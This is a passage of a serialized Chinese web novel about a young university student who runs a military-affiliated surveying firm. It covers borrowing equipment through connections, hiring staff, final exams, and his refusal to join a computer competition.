包达问:“这得跟开发商合作吧?” “用不着开发商。直接对接那些大型企事业单位——钢厂、铁路局、矿务局、高校。单位出钱请我们测绘,我们批量出测绘报告。” 韩学涛继续说,“老房子结构高度统一,都是一排排的火柴盒楼,户型就那么几种。测完一套,整栋楼几百户的数据就全出来了。但收钱是按户收的。一套户型的数据,成本几乎为零,每一户都要付钱。边际成本低得可以忽略不计。” 包达的嘴巴慢慢张开了。 包丽没说话,但眼睛开始发亮。 第185章 设备到手 韩学涛的目光在包达和包丽之间停了一下,然后落到了包丽身上。 “帮我招几个人。”他说,“一个行政主管,大学毕业,最好是宁海大学的。一个司机,要有经验,有军队服役经历的更好。日常文员一两个,暂时先这么多。” 包丽已经拿出本子开始记了,边记边点头,动作干脆。 韩学涛想了想,又看了一眼楚强和小白,这次选了小白——“一个女孩忙不过来,小白,你陪一趟吧,毕竟是我们自己用人。” 小白一愣:“啊?可我……没经验啊。” 包丽在旁边柔柔软软的说:“小白哥哥,没事的。我做过这些,前面那些杂七杂八的事儿我来弄,你最后把把关就行。” 包达就站在旁边,看着自家妹妹这副温温柔柔的样子,差点没当场吐出来——尼玛,这还是我妹妹么?她什么时候这样过? 包丽一个眼刀飞过去。 包达嘴都张开了,硬是把到嘴边的话咽了回去。 韩学涛拎着两盒茶叶,去了测绘局。魏局长办公室的门开着,他站在门口敲了敲门框。魏局长抬起头,笑着朝他招手:“哎,是你啊。直接来找我就行了,还让老卢给我打电话。” 韩学涛走进去,把茶叶搁在茶几上,笑着说:“老师不知道。魏叔,咱们这关系,我可没跟别人透过。” 魏局长心里动了一下。这个层面他之前还真没细想过,现在被韩学涛这么一点,他倒是品出点滋味来了——这小子,挺上道。 “你叫我一声叔,那这事儿我不能不帮。”魏局长说,“这样吧,我给你批个条子,你去找测绘设计院的朱院长。他们那边应该有一批旧设备,你去跟他商量商量。” 韩学涛笑了笑:“谢谢魏叔。” 宁海测绘设计院是测绘局的下属单位,有魏局长的条子,这事儿应该不难。又省了一笔钱。 魏局长端起茶杯喝了一口,随口问了一句:“你借这些设备,干什么用?” 韩学涛语气很随意:“大师兄跟水警区那边搞了个测绘项目,我过去帮帮忙。” 魏局长端着茶杯的手顿了一下。水警区——海军。能跟海军那边搭上线,这话说得轻描淡写,但背后肯定不简单。 他没再多问,甚至有点不敢问了。万一涉密,问多了是给自己找麻烦。他不是普通群众,身上有政府职务,这会儿又正处在要再上一步的关键时期,这种时候,多一事不如少一事。 他把茶杯放下,连条子都不批了,直接拿起桌上的电话。 “我现在就给朱院长打电话,你直接过去就行。” 从测绘局出来,韩学涛看了一眼时间,抬手拦了辆出租车。 “去测绘设计院。” 打铁要趁热,先把这批设备弄到手再说。 到了测绘设计院,韩学涛手里没空着,还是提了两盒茶叶。朱院长的办公室在四楼,门半开着,里面传来打电话的声音。他在门口站了一会儿,等里面挂了电话,才抬手敲了敲门框。 “朱院长您好,我是魏局长介绍过来的,小韩。” 朱院长五十来岁,头发花白,戴着副金丝眼镜,坐在办公桌后面正翻文件。他抬起头,上下打量了韩学涛一眼,脸上挂起一个客气的笑容,站起身跟他握了握手,又瞥了一眼他手里的茶叶—— “坐。魏局长刚给我打了电话。”朱院长语气不冷不热,“小韩,你那边的情况我听说了。说实话,我们院里这批旧设备,年限是到了,但报废流程还没走完。要借出去的话,得先完成归档和备案。不然万一有个闪失,我这个院长也担不起这个责任。” 话说得客气,但意思很清楚——不想借。 韩学涛坐在对面,不紧不慢地开了口:“朱院长,您的担心我理解。不过这批设备我们不是私人借用,我们也是国企,一切都有管理制度。设备要是造成损耗和折旧,我们照价赔偿,总不能让国有资产流失。” 朱院长微微动了一下,脸上的笑容没变,但眼神里多了一层东西——像是在重新掂量眼前这个年轻人。 “哦?”他问,“小韩,你是什么单位的?” 韩学涛从口袋里掏出那本深蓝色的工作证,双手递过去。 朱院长接过工作证,翻开看了一眼——兵海地理勘测服务所。 这个名字他从来没听过。 宁海做测绘的,大大小小的单位他多少都知道一些,但这个名头陌生得很,不在他脑子里任何一个目录里。他皱了皱眉,目光往旁边移了一下,然后停住了。 水警区的章。大红印戳盖得端端正正。旁边是批准单位那一栏,清清楚楚写着几个字。 他愣了一下,手指不自觉地捏紧了工作证的封皮。 军方的单位! 朱院长心中大惊,抬起头看了韩学涛一眼,又低下头把那一行字重新读了一遍——没错,水警区。搞测绘搞了大半辈子,跟军方打交道还是头一回。这性质跟地方上的测绘院完全不是一码事。 他把目光移到职务那一栏—— 特支专家? 总工程师! 朱院长吓了一跳,脸上的表情彻底变了! 他看了看韩学涛的脸——这张脸太年轻了,年轻得跟“总工程师”三个字放在一起,怎么看怎么不协调。 他迟疑了一下,问了一句:“小韩,你今年多大了?” “二十。在宁海大学地质系读大一。” 朱院长张了张嘴,没说出话来。二十岁,军工单位,总工程师。这里面意味着什么,不用多说。难怪魏局长要亲自打电话过来,这设备他还真不敢不借。 他把工作证递回去,脸上的表情从客气变成了热情,语气也跟着转了弯:“既然是国企,那应该帮忙。这样吧,你给我两天时间,我催着下面赶紧把那批旧设备归档,弄好了给你们送过去。” 韩学涛笑着站起来,握住朱院长的手:“朱院长,太感谢了。” 他没松手,顺势又说了一句:“朱院长,我们服务所是个新单位,又都是年轻人,专业性上远远比不了你们设计院。所以有个业务上的事,想看看能不能跟朱院长合作……” 第186章 招聘广告 韩学涛没有急着走,顺势把刚才跟包丽说的那套生意模式,稍微包装了一下,跟朱院长提了提。 “朱院长,现在房改正在推进,公房私有化,大批的老房子需要重新测绘确权。那些单位手里的资料缺胳膊少腿,根本拿不出手。这就是一块现成的市场。” 他的语气不急不慢,“我们服务所刚起步,人手有限,技术上也有很多需要向设计院学习的地方。如果朱院长有兴趣,咱们可以合作——我们来对接单位、跑业务,设计院出技术力量,利润分成。” 朱院长听完,眼睛亮了。 测绘设计院近几年的效益不算好,财政拨款吃不饱,市场化又迈不开腿,不上不下的,卡在中间很难受。现在业务主动送上门来,有钱赚,他脸上的表情立刻就变了。刚才还端着的那点架子,这会儿全放下了,连称呼都变了。 “韩工,你这个想法很好啊!”朱院长从办公桌后面站起来,绕到前面来,给韩学涛添茶,态度比刚才热络了不止一个档次,“我们设计院别的没有,技术人员有的是。老同志经验丰富,年轻同志干劲足,正好可以跟你们服务所优势互补。” “有朱院长这话,我们就有底气了。”韩学涛笑了笑。 他当然知道自己的斤两。他和楚强、小白大一都没读完,专业课都没开呢,能出图靠的是软件和算法,不是真有多高的专业水平。就算从宁海大学找来实习生,也都是没出校门的学生,缺乏实际工作经验。 真正能干活的,还是设计院这些老测绘。借着魏局长的由头,把设备弄到手,再借着这个合作把技术外援拉进来,钱大家一起赚,这才是最划算的买卖。 他本来就没打算吃独食,这块市场大得很,一个人吞不下,也不该一个人吞。 世上没有比贪婪更愚蠢的了! 朱院长亲自把韩学涛送到楼下。走到楼梯口时还特意伸手挡了一下门,侧身让韩学涛先过,到了楼下,朱院长还不肯收手,又拉着韩学涛在花坛边站定:“韩工啊,这几天我把手头几个老测绘喊过来碰一碰,咱们先把框架搭起来。你们那边有什么需求,尽管提,不用客气。” 说完又主动伸出手来,两只手握住韩学涛的右手,用力摇了摇,笑容满面。 旁边刚停好自行车的几个设计院职工正好看见这一幕,面面相觑——这小年轻谁啊,居然让朱院长亲自送到楼下,还拍肩握手!朱院长平时在院里不苟言笑、开会时连局长的面子都不给,今天居然对一个小年轻这么殷勤?两个人的年纪相差太大,站在一起怎么看怎么违和,偏偏朱院长浑然不觉,眼里全是笑意。 而另一边,包丽开着车,小白坐在副驾驶。车子没有往人才市场的方向开,拐了两条街,在一栋灰白色的楼房前面停下来。小白抬头看了一眼——宁海晨报。 “不是去人才市场吗?”小白转过头问包丽。 包丽停好车,熄了火,侧过身看着他,语气温温柔柔的:“小白哥哥,一般私企才去人才市场。有点排面的国企,都在报纸上打招聘广告。” 她推开车门下了车,小白跟着下来。包丽锁了车,一边往里走一边说:“而且这个广告也不白打,顺便也是给咱们服务所做一次宣传。刚才学涛哥说要搞房改房的生意,那些钢厂、棉厂、矿务局,行政上都会订报纸。从厂领导到厂办,甚至门卫,都能看到。” 小白点了点头,跟着她走进了报社的营业大厅。 填表格的时候,包丽犯了愁。上面有一栏要写一段简短的企业介绍词,她想发挥一下,笔都快握断了也没写出来。她转过身,把笔递给小白,笑盈盈地看着他:“小白哥哥,你来吧。你文笔好。” 小白接过笔,低头想了想,在格子纸上写了一行字—— “兵海地理勘测服务所,全民所有制,专业技术服务型企业。立足测绘,深耕数据,以精准丈量城市脉络。现诚聘行政主管一名,要求大学本科,宁海大学毕业生优先;司机一名,要求五年以上驾龄,退役军人优先。我们寻找的不是员工,是同路人。” 他写得很慢,一笔一划的,字迹清秀。行政主管那一条后面加了一句“如果你曾在校园的梧桐树下走过四季,我们等你回来”,司机那一条后面跟了一句“如果你曾在军旗下许过诺言,这里有一程新路”。 包丽拿过来看了一眼,顿时心潮澎湃:“哇,小白哥哥,你写得也太好了叭!” 广告发出去之后,效果惊人。 每天都有信寄过来,开始是十几封,后来变成二十几封,最多的一天,包丽数了数,六十三封。白色的信封堆在兵海所一楼大厅的桌上,摞成几堆,看着就让人眼晕。 韩学涛路过的时候瞥了一眼,脚步没停,说了一句“你们处理”,就上楼了。 行政人员的事,对他来讲无所谓。等以后企业真变成自己的了,再梳理一遍人事就行了。现在他不想把时间浪费在这上面。他最要紧的事,还是水警区那边。 上次的试验虽然成功了,但后续还有大量的工作要做。软件校准的核心代码他已经搞定了,但那只是第一步。接下来要把这套算法嵌入到军方的现有设备里去,跟雷达、跟导弹、跟舰艇的导航系统一一做适配。 每一型设备都是不同的操作系统、不同的硬件架构、不同的接口协议,一个型号一个型号地改,一个端口一个端口地调。没有捷径,只能靠时间往里堆。 不过核心问题解决了,剩下的就是体力活。一旦这套系统在军方全面铺开,光军事采购这一块,就够他吃好几年的。韩学涛心里有数,但没跟任何人说过这笔账。 下午,水警区的车来接他。 韩学涛装了工作证,正准备下楼,楚强在走廊里堵住了他,还是那张扑克脸,表情不多,话很直接。 “学涛,房改房那个事,我可以去谈。” 韩学涛看了他一眼,心里略微犯起了嘀咕。 楚强的能力他是知道的,在学校巡逻队搞的那个慈善基金就办得很不错,有条有理,账目清爽。但那是校内的事,面对的是一群学生。现在要出去跑业务,跟钢厂、棉厂、矿务局那些单位的行政科长、后勤处长打交道,那是另一个世界。 楚强主动提出来,应该是想多办点事,不想白拿钱。其实按韩学涛的想法,这种事自己和包丽出去谈最合适。但自己这边水警区的事忙得脱不开身,包丽那边——一个二十岁不到的小女孩,没读过什么书,虽然卖抽油烟机是把好手,但跟那些老机关坐在茶几两边谈业务,确实有点势单力薄。楚强虽然话不多,但那张扑克脸不笑的时候还挺压台,往那一坐,别人摸不透他的底,反而不敢小看。 “行。正好我跟大师兄那个项目最近忙不过来。房改房的事,就你和小白,再带上包丽,你们三个人去弄吧。”韩学涛笑着说道,“我就轻松轻松,躺赢一次。” 第187章 老谢的提议 晚上回到寝室,老谢把韩学涛叫到过道,递了根烟。 “学涛,跟你说两件事。”老谢给韩学涛把烟点上,“一是你和楚强、小白最近缺课有点多。我每次都帮你们请假,但几个老师多少有点意见了。马上期末考试,你心里有个数。” 韩学涛吸了口烟,点头:“行,我知道了。” 宁海大学的期末考试原定在七月初。今年赶上港岛回归,整个日程往后推了,暑假也跟着顺延。缺课的事倒不大——有卢主任撑着,跟几个老师打个招呼就能过去。但考试躲不掉。赚钱再忙,学分还是得要。 老谢弹了弹烟灰:“第二件。等考完了,我琢磨着咱们寝室一起聚一聚。现在寝室分成好几拨——你和楚强、小白一拨,李靖和于鑫老混一块,赵江和小巴一起,剩下我这个寝室长,哪头都挨不上。”他笑了笑,“大一马上就完了,趁着还没离校,聚一次。要是能把联谊寝室也叫出来,就更好了。” 韩学涛想了想:“行,你来安排。联谊寝室那边,我问问展雪。”他顿了一下,“李靖和高洋不是正热乎着么,还有于鑫跟胡荔荔,让他们去说也行。” 老谢摆摆手,语气里带着点无奈:“那还是得你问展雪。李靖和于鑫那两张嘴,传话我总觉得不靠谱。”他吸了口烟,又补了一句,“其实我本来也能问,但展雪那边已经彻底从学生会辞了。孙婷婷,我跟她说话有点怵,哈哈。这方面我是真没用,还是得你来。” 韩学涛想到展雪。想到她那天在嚎叫酒吧空荡荡的舞台上,抱着吉他唱歌的样子。他把烟掐灭在窗台上,说了一句:“我知道了。” 周五下午,考前最后一天的计算机课。 韩学涛走进去的时候,李曼已经坐在老位置上了。他走过去,往她旁边一坐,书包往桌上一扔,侧过身看着她。 “班长大人,你怎么也逃课了?平时老说我——我上课闭眼睛你都要捅我一下,结果你自己倒逃课。” 李曼转过头,有点不好意思地吐了吐舌头。那个表情在她短发、圆框眼镜的脸上,显得有点孩子气。“我周末回家了嘛,错过了学生会的通知。周一上午急着补竞选部长的材料,就没来得及过来。” 韩学涛问:“竞选部长,没问题吧?要不要我帮你拉票什么的?” 李曼下巴微微抬了一下,嘴角弯着:“开玩笑,谁能跟我争?” 韩学涛笑了:“手拿把掐?” 李曼哈哈一笑,右手握成拳头:“手拿把掐!” 笑完了,她收起拳头,偏过头看着韩学涛,声音放低:“对了,你暑假有没有什么事?在哪儿过?” 韩学涛想了想:“没什么事,就在宁海。跟导师和师兄搞系里的一个项目,暑假应该也忙这个。” 李曼点了点头,语气郑重起来:“那我现在告诉你——我的生日是八月二十号。我已经跟我妈说了,要请几个同学。到时候你过来,别忘了给我带生日礼物。” “你这要礼物也太明目张胆了。”韩学涛转头看她,感觉她的头发自从剪短之后,就没再长长。 李曼哼了一声:“就看你的诚意了。” “给,肯定给。”韩学涛说。看在她挤掉一只鞋去给自己要华仔签名的份上,也得准备一份礼物,问:“你是打算在家里办?” “不一定,要看来多少人。”李曼掰着手指头数,“我们寝室家在宁海的我都请了。高中的同学就是你和点点,还有马辉。点点暑假在东林,不知道有没有时间过来。我妈的意思是找个饭店摆几桌——宝贝女儿二十岁的生日嘛,把她和我爸单位里的朋友也请几个过来。”她看着韩学涛,上下打量了一下,“你到时候穿正式一点。” 韩学涛偏头:“听你这么说,我突然感觉压力很大啊。” 李曼嘿嘿一笑,眼睛弯成两道月牙:“你又不是没见过我爸我妈,紧张什么?” 兵海所。 包丽和小白从那一大堆求职信里挑出了十份,用长尾夹夹着,放在韩学涛桌上。 “七个行政,三个司机,”包丽把简历整了整,“你选一选,安排面试。” 韩学涛看都懒得看,把那一沓简历推回去:“不用选了。全喊过来,安排在明天下午。看了之后现场定。” 第二天下午,兵海所一楼那间空出来的办公室被临时改成了面试间。 一张长桌,三把椅子。韩学涛坐中间,小白坐旁边。包丽站在门口,负责叫人。 第一个进来的是一个圆脸的女生,姓王,短发,皮肤有些黑,穿着一件深蓝色的套头衫。 韩学涛看了一眼简历:“哪个学校的?” “宁海职业技术学院,财会专业。” 韩学涛点了点头:“会用电脑吗?” “会一点,正在学。” 韩学涛没再多问,在简历上划了个记号。 第二个姓李,个子不高,身形偏胖,戴着厚厚的眼镜。宁海本地人,大专学历,学的是文秘,电脑操作熟练。 第三个姓张,又高又壮,说话声音比韩学涛还大。 第四个姓陈,皮肤黑里透红,像是从哪个工地上跑过来的。简历上写着曾在宁海一家机械厂做过两年行政助理。 四个面完,韩学涛觉得有点不太对了,侧脸看向小白:“这几个行政,是你选的?” 小白点头,又说:“不过也是小丽建议的。小丽说,行政岗位最好不要招长得太漂亮的。女孩子长得太好看,心思不一定在工作上。而且咱们公司年轻人多,一帮特别漂亮的女孩进进出出,外人的观感也不好,显得不稳重。”他顿了一下,“我觉得挺有道理的。” 韩学涛看着小白那张毫无自知之明的脸,张了张嘴,把到嘴边的话咽了回去。道理确实是有点道理。但包丽那点小心思,他也明白。 算了,也行吧。自己这公司是搞测绘的,长相不重要,能干活就行。而且这几个的形象,倒是很符合行业调性。 “继续叫吧。” 第188章 师姐和双胞胎行政 包丽推开门,第五个走了进来。 韩学涛抬起头,愣了一下。 跟前四个不一样——这个女生穿着一件白色短袖衬衫、深色长裤,头发扎成低马尾,整个人干干净净,气质完全不同。 而且看过了前面四个之后,眼前这个女生显得格外顺眼。 但这还不是最关键的。 最关键的是,这个女生他认识! “学姐?你怎么来了?”看见丁瑶,韩学涛十分意外。 丁瑶站在门口,手里攥着简历,整个人像被钉在了原地。她万万没想到,面试她的竟然是韩学涛——你不是才大一吗? “韩师弟?你……怎么在这里?” 她在宁海证券当客户经理的时候,韩学涛是她的客户。那时韩学涛炒股赚了钱,帮她冲了业绩,让她顺利转正。 后来韩学涛把资金转走了,市场也不景气,她的业绩便一落千丈。别的经纪人有积累、有人脉,她没有。转正后几次考核不达标,工资又被降了回去。有一次听到风言风语,跟一个老员工吵了一架,她一气之下辞了职。 那天在晨报上看到兵海所的招聘广告——宁海大学毕业优先,广告词写得也好,她就动了心,犹豫了两天,决定投简历。没想到来应聘竟然碰见了韩学涛。 “师姐,你来就正好了。”韩学涛笑着站起来,拉开椅子让她坐下,“这是我们地质系师兄和我一起搞的项目,都是自家人。你有经验,懂金融,过来正好帮我们把内务撑起来。那个破券商,辞了就辞了。” 丁瑶坐下,脑子还没转过弯来:“我看报纸上说你们是全民所有制企业,怎么成了系里的项目?” 韩学涛笑着说:“具体情况,得等师姐加入我们、签了保密协议才能说。但报纸上登的一点没骗人——我们就是全民所有制企业。” 他指了指旁边的小白:“这位也是我们地质系的同学,跟我一样在读大一,现在在这边当技术二室的主任。”又指了指门外,“还有一位技术一室的主任,也是我们同学。所长是我们研究生的师兄。都是自己人。” 他拿起丁瑶的简历:“师姐,你是宁海大学毕业,懂金融,会电脑,又是经管系的,在大学还参加过学生会。你过来——行政科的科长就是你的。” 丁瑶惊呆了,张了张嘴,没说出话来。 她在宁海证券干了那么久,那么努力,最后却灰头土脸地出来。抱着试试看的心情来这家全民所有制企业应聘,结果领导是自己以前的客户,还管自己叫师姐。几句话一说,就成了行政科长。 此刻脑子还是懵的,但她说不出一句拒绝的话。看着韩学涛,点了点头:“行,师弟,我听你的。” 韩学涛对丁瑶是满意的。 当年在宁海证券做股票的时候,他就觉出来了——这位师姐做事,有耐心,负责任。每次自己交易的时候,她都会张嘴提醒,很会替客户考虑。 而且她是自己一个学校出来的,又是所有投简历的人里学历最高的。 更重要的是,她做过他的经纪人,知道他炒过股,见过他账户里那二十万。 这层关系说不上多深,但到底是一段渊源。在黑道的生意里待了这些年,他见过太多从一根线头扯出一匹布的事——长远的关系,往往就起于这么一点微不足道的交集。 丁瑶定下来之后,招聘的事他就不管了。剩下那摞简历往她面前一推,说了一句“你来选”,便上楼去了。 丁瑶坐在一楼办公室里,把六个应聘者的资料翻了两遍,又把人一个一个叫进来聊,最后定下两个。 她领着人上楼来给韩学涛过目的时候,韩学涛愣了一下。 两个女孩往那儿一站,块头都不小,皮肤比一般姑娘黑些,穿着深色的衣裳,整个人看上去——怎么说呢,形象实在是不太好开口夸。但再仔细一看,他发现这两个人长得几乎是一个模子刻出来的:圆脸,厚嘴唇,浓眉大眼。只是一个稍黑一点,一个稍胖一点。 “双胞胎?”韩学涛问。 丁瑶站在旁边,点了点头:“姐姐夏梅,妹妹夏芳。卫校毕业的。” 韩学涛靠在椅背上,没接话。丁瑶知道他在琢磨什么,不等他问,自己先开了口—— “刚才在外面等面试的时候,大家坐在一起聊过一阵。这对双胞胎话不多,但每次说话,眼睛都看着对方,不躲不闪。” “能吃苦,”丁瑶接着说,“卫校三年没混日子,脏活累活都抢着干。你看她们简历,有打字技能证书,一分钟能敲一百多个字。各科成绩全是优秀,动手能力强,心也细。” 丁瑶说到这里,补了一句:“她们是双胞胎,从小一起长大的。两个人之间钩心斗角的概率,比普通同事小得多。而公司内部,最怕的就是不合。” 韩学涛听完,直接点了头:“行,就她们了。” 夏梅和夏芳得知自己被录用了,高兴坏了。 她们卫校毕业半年了,一直没工作。不是没找过,是压根进不了医院。宁海的医院就那么多,护士岗位掰着手指头数得过来,家里又没什么门路。 这半年,简历投了不少,面试也跑了许多,可卫校的学历拿不出手,形象也实在不算出众。好些单位的人事看她们一眼,丢下一句“回去等通知”,就再也没了下文。 这次是在晨报上看到兵海所的招聘信息。那几行广告词写得很打动人,她们犹豫了好几天,最后还是咬着牙把简历投了出去。 本来没抱什么希望。谁想到,姐妹俩竟然一起被录用了。 她们很想跟眼前这位年轻帅气的总工程师说几句感谢的话,嘴张了张,却一个字也吐不出来。手背在身后,绞着衣角,扭扭捏捏地杵在那里,像两根柱子似的。 韩学涛看着她们那副样子,忍不住笑了一下:“好好干。只要肯出力,薪酬肯定让你们满意——比去医院当护士强。” 行政定下来了,司机却没招到。 来应聘的三个司机,韩学涛一个都没要。 司机的岗位太特殊了——握着方向盘,听着车里的谈话,看着领导去了哪儿、见了谁。这个人如果不托底,就等于把公司的底裤都亮给别人看。 他宁可不招,也不随便塞一个进来。 位子空着就空着。宁缺毋滥。 第189章 老谢的挂历 期末考试拖了五天。 宁海大学的安排是一天两科,上来就是几道硬菜——高数、地质化学、物理、计算机、英语,一门接一门地砸下来。 这几门课挂科率最高,考完之后教室里哀嚎声此起彼伏,走廊上到处都在对答案,对完之后有人沉默不语,有人破口大骂。 后面几天就轻松多了。像马原那种课,考场纪律松弛,基本上跟开卷差不多,哪怕一个学期一堂课都没去过,只要考试的时候会翻书,想挂科都难。 最后一门考完,大家纷纷去找任课老师查分。前面几科的成绩已经出来了,知道自己前几科的分数,这次期末的整体情况基本就能定下来了。 韩学涛没去。 考完他心里就有数了。对他来说,这些题实在太简单了。 在图书馆帮冯老师翻译资料,忙了一整个学年下来,算是完成了筑基。而大一期末考试的难度,撑死了也就练气一级的水平——根本不是一个量级的东西。 考完那天,他照常去图书馆,照常去兵海所,压根没把分数的事放在心上。 李靖、赵江和于鑫三个人约着一块儿去查分。 回来的时候,三个人走进寝室,眼神都不太对劲。 韩学涛正坐在床上翻一本英文原版的遥感教材,抬头看见他们仨的表情,便把书合上了:“怎么了?” 于鑫把书包往床上一扔,一屁股坐下来,眼睛直瞪着韩学涛:“不公平。” 韩学涛看着他。 “涛哥,你也是缺课,我也是缺课,”于鑫满腹委屈,“凭什么你考的分比我高出那么多啊?” 韩学涛笑了下:“可能是出题比较简单吧。” 于鑫愣了一秒,转头看看李靖,又看看赵江。 三个人脸上的表情精彩极了。 “涛哥,”于鑫说,“你现在骂人都这么含蓄了吗?” 韩学涛笑着把手里的书放下:“我缺课和你缺课能一样吗?你缺课是跑去打游戏,我缺课是在系里给导师做项目,跟学习没什么两样。”他往床头一靠,又补了一句,“再说了,你不光打游戏,你还谈恋爱呢。” 于鑫当时就不干了:“哎,你说做项目我没话说,但你要说谈恋爱——那我可就不服了。”他坐直了身子,“我是跟胡荔荔走得稍微近了一点儿,可也赶不上你和展雪啊。你别跟我说你俩是清白的啊。” 韩学涛面色不变:“当然是清白的。不信你去问她——我们没一起在食堂喂过饭,没一起上晚自习占过座,也没一起钻过小树林。简直清得不能再清了。” 于鑫嗤了一声:“你可拉倒吧。都有人看见了——你和展雪在木吉他酒吧,就你俩,咣咚咣咚地喝啤酒。” 韩学涛一愣:“谁看见了?” 于鑫往旁边一指:“你问赵江。” 赵江正端着水杯喝水,被点到名,赶紧把杯子放下来,脸色有些讪讪的:“那个……是我看见的。上次我女朋友从校外来宁海找我,我带她到校外找宾馆,路过木吉他酒吧的时候,隔着窗户看见你和展雪坐在里面。”他连忙摆摆手,“不过我可不是那种往外传的人。是我女朋友后来去405借宿,碰见了展雪。” 韩学涛盯着他:“你们不是都到校外开房去了吗,怎么又跑到405去了?” 赵江脸上挂不住了,声音低下去:“看了几家,便宜的条件不太好,条件好的又太贵了……” “你都到这份上了,还怕贵?”韩学涛说。 于鑫在旁边起哄:“好好听听,韩哥要传授经验了。” 赵江的脸红了。 几个人正损得起劲,一直没说话的李靖忽然叹了口气。 韩学涛转过头:“怎么了?” 李靖表情有些发沉:“我有点担心小巴。刚才我们寝室的分数都查了——就小巴一个人挂了两科。” 韩学涛愣了一下。 小巴是他们寝室年纪最小的,跳级上来的,当年是以寝室最高分考进宁海大学的。人真的聪明,平时学习不费力气,这次竟然有两科没过? 于鑫接话道:“这次连我都过了,小巴居然没过。本来还以为咱们寝室这回能消灭挂科了呢,看来老谢这个寝室长评优又没戏了。” 正说着话,老谢进来了,他把书包放好,走到韩学涛跟前,侧了一下头。韩学涛知道他有事,起身跟了出去。 走廊上,老谢从兜里摸出烟,递了一根过去。 “联谊寝室聚会的事,你跟展雪说了没有?” “现在打。”韩学涛接过烟。 “不用了。”老谢把烟点着,吸了一口,“刚才查分回来,碰上她们寝室的周兰了。她说聚会还是放开学吧,这次暑假放得晚,她们那边好几个人都惦记着回家,考完试还要回去收拾东西,好几个就是今天晚上的火车。咱们这边人也聚不齐。” “谁不在?” “小巴走了。”老谢吐了口烟,“刚才和我一起查的分,挂了两科,心情不好,寝室都没回,直接去火车站了。” 韩学涛点了点头,把烟点着:“那就开学再说。” 两人靠在走廊的墙上,沉默了一会儿。 老谢忽然叹了口气:“于鑫都过了,我本来以为今年咱们寝室能消灭挂科。万万没想到,折在小巴这儿了。” “小巴没问题。”韩学涛弹了弹烟灰,“他年纪小,心性还没定。补考前看一个礼拜的书,准过。” “但愿吧。”老谢看了他一眼,话题一转,“对了,你们那个项目,做得怎么样了?” “还在做着呢,这个暑假估计是闲不下来。” “你和楚强、小白,在里头做什么?” 韩学涛笑了笑:“我们三个才大一,你说呢?” 老谢说:“大一就能跟着导师做项目,已经很好了。就算是给教授和老生打杂,我也乐意。这些都是资历。” 韩学涛没接这个话茬,转而问道:“赵江那个女朋友,你们见到了?” “见到了。”老谢的语调没什么变化,“怎么说呢,长相什么的,肯定没有405那几个漂亮。但是性格好,身材也不错。” 韩学涛看了他一眼:“老谢,女生身材这个话从你嘴里说出来,总感觉不太对。” “我有什么不对的?”老谢笑了,“我也是男的,不奇怪吧?” 他吸了口烟,停顿了一下,“我跟你说个秘密,我上高一那年,我爸单位发的挂历——也不知道他们工会怎么想的——十二张全是比基尼。我那时候才十五,天天晚上对着那个挂历学习,一抬头就看见,一抬头就看见,根本学不进去。要不然我能复读两次么。” 韩学涛哈哈一笑。 老谢弹了弹烟灰,继续说:“不过那东西也帮我建立了一个审美标准。用马原的话说,脸蛋是上层建筑,虚的,看多了就腻了。身材好才是使用价值,里面凝结了劳动。” 韩学涛伸出大拇指:“可以啊,老谢,有理论高度。” 老谢哈哈大笑。 两个人站在走廊上,嘻嘻哈哈笑了一阵。 李靖从寝室探出头来:“学涛,女生打电话找你。” 第190章 甜妹 韩学涛走进寝室,拿起桌上的听筒。 “喂?” 电话那头传来一个女生的声音,软软糯糯的:“你好,请问是韩学涛同学吗?” “我是。你哪位?” “我叫杨蕾,计算机系的。” 韩学涛愣了一下。脑子飞快地转了一圈——不认识。 “咱们上计算机公开课的时候,我是课程助理。”对方赶紧补了一句,“就是每次课前准备投影、帮教授做课件那个。” 韩学涛想起来了。蘑菇头,圆框眼镜,坐在第一排靠墙的位置。说话声音不大,笑起来脸上有两个浅浅的梨涡。 “杨蕾同学,有什么事吗?” “是这样,下礼拜市里有个大学生计算机技能大赛,想问问你有没有时间去?” 韩学涛觉得有点奇怪:“为什么找我?我又不是计算机系的。” 杨蕾把事情说了一遍。 市里办的比赛,限大一大二。计算机系报了五个人,临到跟前出了岔子——一个选手病毒性心肌炎,还在医院抢救。替补的人也来不了,家里父亲出了车祸,赶回老家了。碰上这种事,系里也不好不近人情,硬把人留下来。 一下子就缺了两个人,系里急得团团转。大三大四倒是有人,可比赛限定低年级,专业课都没开完,拔尖的学生掰着手指头都数得过来。 计算机系的老师没办法,只好去翻这次期末的成绩单,一眼就看到了满分的韩学涛。 韩学涛听完,沉默了两秒。 “杨蕾同学,谢谢你来问我。不过我暑假已经排满了,手头有项目在跟,实在抽不出时间来准备比赛。你问问其他同学吧。” 语气客气,态度干脆。 杨蕾在电话那头“哦”了一声,声音一下子低了下去,说了句“那打扰了”,就挂了。 过了不到半个钟头,寝室门口有人敲门。 李靖离得近,顺手开了门。 门口站着两个女生。一个是刚才打电话的杨蕾,正挥手打招呼,一副小甜妹的模样。另一个穿着一件白色短袖衬衫,灰色裤子,站得笔直。 朱丹。地质系这一届新生的团支部书记。 开学的时候在系里见过几次,没说过话,但这张脸韩学涛有印象。系里开大会,她坐在第一排,拿着本子记东西,时不时跟辅导员说几句话——是那种天生就喜欢管事的人。 “韩学涛同学,”朱丹走进来,开门见山,“杨蕾刚才给你打过电话了吧?我陪她过来,是想当面再跟你聊聊这个事。” 韩学涛看了她一眼,又看了看她身后的杨蕾,没说话。 而朱丹往前走了两步,站到韩学涛面前,双手交叉搭在身前—— “韩学涛同学,这次比赛是市里主办的活动,代表的是咱们宁海大学的荣誉。你是这次期末考试的年级第一,又是满分,系里老师对你寄予了很大期望。作为地质系的一员,为学校争光也是咱们应尽的义务,你说对吧?” 她说得顺顺畅畅,一句都不带磕巴的。 韩学涛靠在桌边,看着她说话,没吭声。 朱丹以为他在听,继续说:“而且团支部这边也会做好记录,凡是代表学校出去比赛的,在学年鉴定和评优评先上都会有相应的加分。这个你不用担心,我们肯定会——” “朱丹同学,”韩学涛打断了她,“你说的这些我都听明白了。但我刚才在电话里已经说得很清楚——我暑假有项目,时间排满了。比赛的事,你们找别人吧。” 朱丹脸上的笑容僵了一下,很快又恢复过来:“韩学涛同学,你可能不太了解这个比赛的性质。这是市里直接下文件的,各个高校都很重视,咱们系——” “那更应该找计算机系的同学。”韩学涛说,“我不是计算机系的,去了也代表不了计算机系的水平。万一拿不到名次,丢的是学校的脸。这个责任我担不起,你们团支部也担不起。” 朱丹张了张嘴,一时接不上话。 韩学涛看着她,语气没有任何起伏:“而且你说评优评先的加分——我大一没挂科,成绩也还过得去,这些东西我不缺。你说的这些,对我没什么吸引力。” 